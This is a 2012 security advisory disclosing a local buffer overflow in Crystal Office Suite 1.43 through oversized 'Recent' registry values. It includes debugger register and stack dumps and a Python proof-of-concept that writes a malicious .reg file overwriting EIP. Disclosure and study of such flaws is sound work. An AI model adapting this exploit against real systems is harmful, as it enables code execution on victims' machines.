Crystal Office Suite 1.43 Buffer Overflow

`Title:  
======  
Crystal Office Suite v1.43 - Buffer Overflow Vulnerability  
  
  
Date:  
=====  
2012-04-12  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=489  
  
  
VL-ID:  
=====  
489  
  
  
Introduction:  
=============  
Crystal Office is the essential office suite ideal for home and business users, delivering more tools that make your work go   
faster and your life go easier. Find all the essential office software to complete routine tasks faster and with better results.   
Create and edit text and graphics in letters, reports, documents and Web pages. Perform calculation and manage lists in   
spreadsheets. Keep track of appointments and tasks. Open, edit and save Microsoft® Office documents.  
  
Whats Included:   
  
• NotePro - feature-packed easy to use word processor. Create polished documents of any length or type, including reports,   
letters, resumes and brochures. Manage standard text files, Rich Text Format, Word, and HTML.  
  
• DayMate - a versatile intuitive day planner. Use DayMate to create and schedule reminders that can pop up messages, start   
applications or open documents, check for new e-mail, dial phone numbers, send messages, and open a specified Web sites.  
  
• CellPro - a powerful and easy-to-use spreadsheet application. Use CellPro to create budgets, invoices, receipts and   
expense reports. Organize, analyze and manage important data and financial information. Open and save Microsoft Excel files.  
  
• ChartPro - a project management software application that is used to create and display projects using a Work Breakdown   
Structure (WBS) chart. A WBS chart displays the structure of a project showing how a project is organized into summary   
and detail levels. Using a WBS chart is a more intuitive approach to planning and displaying a project.  
  
• Clip Plus - the award-winning Windows Clipboard enhancer. It works alongside the regular clipboard and automatically grabs   
and saves text, images, and objects as they are copied to the clipboard - making them available for saving, reuse, and printing.  
  
(Copy of the Vendor Homepage: http://www.crystaloffice.com )  
  
  
Abstract:  
=========  
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Crystal Office Suite v1.43.   
  
  
Report-Timeline:  
================  
2012-04-02: Vendor Notification 1  
2012-04-08: Vendor Notification 2  
2012-04-09: Vendor Response/Feedback  
2012-04-12: Public or Non-Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Cristal Office Systems  
Product: Office Suite, CellPro, ChartPro, ClipPlus & NotePro v1.43, 1.23, 1.23, 1.43 & 3.88  
  
  
Exploitation-Technique:  
=======================  
Local  
  
  
Severity:  
=========  
High  
  
  
Details:  
========  
A Buffer Overflow vulnerability is detected on Crystal Office Suite v1.43 (current version). Vulnerable are all included   
programs: CellPro, ChartPro, ClipPlus, NotePro.  
  
The vulnerability is located in each of the program executeables. An oversized string on the registry values Recent1, Recent2   
etc. within the keys:   
  
[HKEY_CURRENT_USER/Software/Crystal Office/CellPro]   
[HKEY_CURRENT_USER/Software/Crystal Office/ChartPro]   
[HKEY_CURRENT_USER/Software/Crystal Office/ClipPlus]   
[HKEY_CURRENT_USER/Software/Crystal Office/NotePro]   
  
Results in a local buffer overflow. The value is read while opening the file menu. An attacker needs to manipulate the registry   
value and has to trick the victim to hover over the ReOpen menu item within the File menu.  
  
  
--- Debug Logs ---  
  
# Registers:  
EAX 00000000  
ECX 42424242  
EDX 7C9132BC ntdll.7C9132BC  
EBX 00000000  
ESP 0012E4E8  
EBP 0012E508  
ESI 00000000  
EDI 00000000  
EIP 42424242  
  
# Stack:  
0012E4D8 7C929F68 ntdll.7C929F68  
0012E4DC 01B40000  
0012E4E0 7C91D80A ntdll.7C91D80A  
0012E4E4 7C9601E1 ntdll.7C9601E1  
0012E4E8 7C9132A8 RETURN to ntdll.7C9132A8 <--ESP  
0012E4EC 0012E5D0  
0012E4F0 0012F900 ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCC  
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC   
0012E4F4 0012E5EC  
0012E4F8 0012E5A4  
  
# Disassembly:  
7C91329D FF75 0C PUSH DWORD PTR SS:[EBP+C]  
7C9132A0 FF75 08 PUSH DWORD PTR SS:[EBP+8]  
7C9132A3 8B4D 18 MOV ECX,DWORD PTR SS:[EBP+18]  
7C9132A6 FFD1 CALL ECX  
7C9132A8 64:8B25 00000000 MOV ESP,DWORD PTR FS:[0]  
7C9132AF 64:8F05 00000000 POP DWORD PTR FS:[0]  
7C9132B6 8BE5 MOV ESP,EBP  
7C9132B8 5D POP EBP  
7C9132B9 C2 1400 RETN 14  
7C9132BC 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4]  
  
# Dump:  
0012F8E8 41 41 41 41 41 41 41 41 AAAAAAAA  
0012F8F0 41 41 41 41 41 41 41 41 AAAAAAAA  
0012F8F8 41 41 41 41 41 41 41 41 AAAAAAAA  
0012F900 41 41 41 41 42 42 42 42 AAAABBBB  
0012F908 43 43 43 43 43 43 43 43 CCCCCCCC  
0012F910 43 43 43 43 43 43 43 43 CCCCCCCC  
0012F918 43 43 43 43 43 43 43 43 CCCCCCCC  
  
  
Picture(s):  
../1.png  
  
  
Proof of Concept:  
=================  
The vulnerability can be exploited by local attackers or local low privileged system accounts. For demonstration or reproduce ...  
  
#!/usr/bin/python  
  
# Exploit: Crystal Office Suite v1.43 Local Buffer Overflow Vulnerability  
# Version: 1.43  
# Software Link: http://www.crystaloffice.com  
# Notes: Vulnerable: CellPro, ChartPro, ClipPlus, NotePro  
# Howto: Import Reg -> Start App -> Move Mouse over "File" - Menuitem "ReOpen"  
  
file="poc.reg"  
  
junk1="\x41" * 4124  
boom="\x42\x42\x42\x42"  
junk2="\x43" * 100  
  
poc="Windows Registry Editor Version 5.00\n\n"  
poc=poc + "[HKEY_CURRENT_USER\Software\Crystal Office\CellPro]\n"  
poc=poc + "\"Recent1\"=\"" + junk1 + boom + junk2 + "\""  
  
try:  
print "[*] Creating exploit file...\n";  
writeFile = open (file, "w")  
writeFile.write( poc )  
writeFile.close()  
print "[*] File successfully created!";  
except:  
print "[!] Error while creating file!";  
  
  
Solution:  
=========  
Patch will be provided with the next service update on www.crystaloffice.com  
  
  
Risk:  
=====  
The security risk of the local buffer overflow vulnerability is estimated as high.  
  
  
Credits:  
========  
Vulnerability Research Laboratory Team - Julien Ahrens (MrTuxracer) [www.inshell.net]  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-  
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of   
other media, are reserved by Vulnerability-Lab or its suppliers.  
  
Copyright © 2012 Vulnerability-Lab  
  
  
  
  
--   
VULNERABILITY RESEARCH LABORATORY TEAM  
Website: www.vulnerability-lab.com  
Mail: [email protected]  
  
`